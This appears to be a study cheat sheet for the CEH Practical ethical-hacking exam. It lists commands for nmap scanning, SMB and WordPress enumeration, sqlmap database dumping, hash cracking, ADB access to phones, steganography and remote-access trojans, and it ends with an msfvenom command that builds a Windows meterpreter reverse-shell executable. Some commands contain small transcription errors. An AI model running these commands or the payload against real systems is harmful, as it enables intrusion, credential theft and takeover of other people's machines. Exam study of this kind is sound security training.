## **CEH Practice Cheat Sheet**

# **CEH Practical Exam Time Management**

- Total Time: 360 minutes (6 hours)
- Total Questions: 20
- Time per Question: 18 minutes
- Time Limit per Question: 10 minutes (if stuck, skip and return later)

# **Steganography Tools**

- SNOW (Windows)
  - Hide and extract data from text files.
    - Encrypt: SNOW.EXE -C -m "<message>" -p "<password>" <source file.txt> <destination file.txt>
    - Decrypt: SNOW.EXE -C -p "<password>" <source file.txt>
- Openstego (GUI)
  - o Hide and extract data from image files.
- Covert\_TCP (Hiding data in TCP/IP headers)
  - Attacker:
    - Create and transfer a secret message.
    - Compile and use covert\_tcp.c.
  - o Target:
    - Capture packets using topdump and transfer covert\_tcp.c.

■ Compile and use the covert TCP program to receive the hidden message.

### **Hashing & Encryption Tools**

- HashMyFiles (Windows): Calculate and compare hashes of files.
- Cryptool: Encrypt/decrypt hex data by manipulating key lengths.
- BcTextEncoder: Encode/decode text in files (.hex).
- CryptoForge: Encrypt and decrypt files.
- VeraCrypt: Hide and encrypt disk partitions.

# Remote Access Trojans (RAT)

- njRAT: Reverse shell.
- MoSucker
- ProRat: Requires victim's IP.
- Theef: Requires victim's IP.
- HTTP RAT: Requires victim's IP.

# **Network Scanning with Nmap**

- Basic Scans
  - o nmap -sn -PR [IP]: ARP ping scan.
  - o nmap -sn -PU [IP]: UDP ping scan.
  - o nmap -sT -v [IP]: TCP connect/full open scan.

- o nmap -sS -v [IP]: Stealth/TCP SYN scan.
- Service Version Detection
  - o nmap -sV -v [IP]: Detect service versions.
  - o nmap -A -v [IP]: Aggressive scan.
- OS Discovery
  - o nmap -O -v [IP]: OS detection.
  - nmap -script smb-os-discovery.nse [IP]: SMB OS discovery.

# **Vulnerability Scanning**

• SNMP Enumeration:

- NBTStat Enumeration (Windows):
  - o nbtstat -a [IP]
  - o nbtstat-c
- Vulnerability Scripts:
  - o nmap -sV -p[port] --script vulners [IP]

#### Wireshark

- Filters:
  - http:request.method==POST/GET
  - o ip.addr==<ip>
  - o MQTT (For IoT).
- Remote Capture:

Start remote packet capture and log off the target.

## **Hacking Mobile with ADB**

- ADB Commands:
  - sudo nmap -p 5555 <ip>
  - o adb connect <ip>:5555
  - adb pull /sdcard/scan/
- Phonesploit:
  - o python3 phonesploit.py

#### **SMB and Web Enumeration**

- SMB Enumeration:
  - o smbclient -L [IP]
  - o nmap -p 445 -sV --script smb-enum-services [IP]
- WordPress Enumeration:
  - o wpscan --url <URL> --passwords=<wordlist>
- Web Directory Enumeration:
  - o gobuster dir -u <IP> -w <wordlist> -t 50 -x php,html,txt

# **SQL Injection**

- SQLMap Usage:
  - o sqlmap -u <URL> --forms --dump
  - o Extract database: sqlmap -u <URL> --dbs

Extract columns: sqlmap -u <URL> --D --T
 --columns

# Steganography

- Steghide:
  - o Hide data: steghide embed -cf <image> -ef <file>
  - Extract data: steghide extract -sf <image>
- ExifTool, Zsteg, Binwalk: For image metadata extraction.

### **Hash Cracking**

- Hashcat:
  - hashcat -m 0 <hash> <wordlist> --show
- John the Ripper:
  - o john --format=Raw-MD5 <hash> --wordlist=<wordlist>

#### **Miscellaneous Tools**

- Nikto: Vulnerability scanning.
- Netdiscover: Network discovery.
- Responder: Capturing NTLM hashes.
- Metasploit:
  - Payload generation: msfvenom -p
    windows/meterpreter/reverse\_tcp --platform
    windows -a x86 -f exe LHOST=my.ip LPORT=my.port -o
    /root/Desktop/test.exe
    - -p = payload

- --platform = Os
- -a = architecture
- -f = format of the payload
- -o = output dir
- o Start reverse shell: use exploit/multi/handler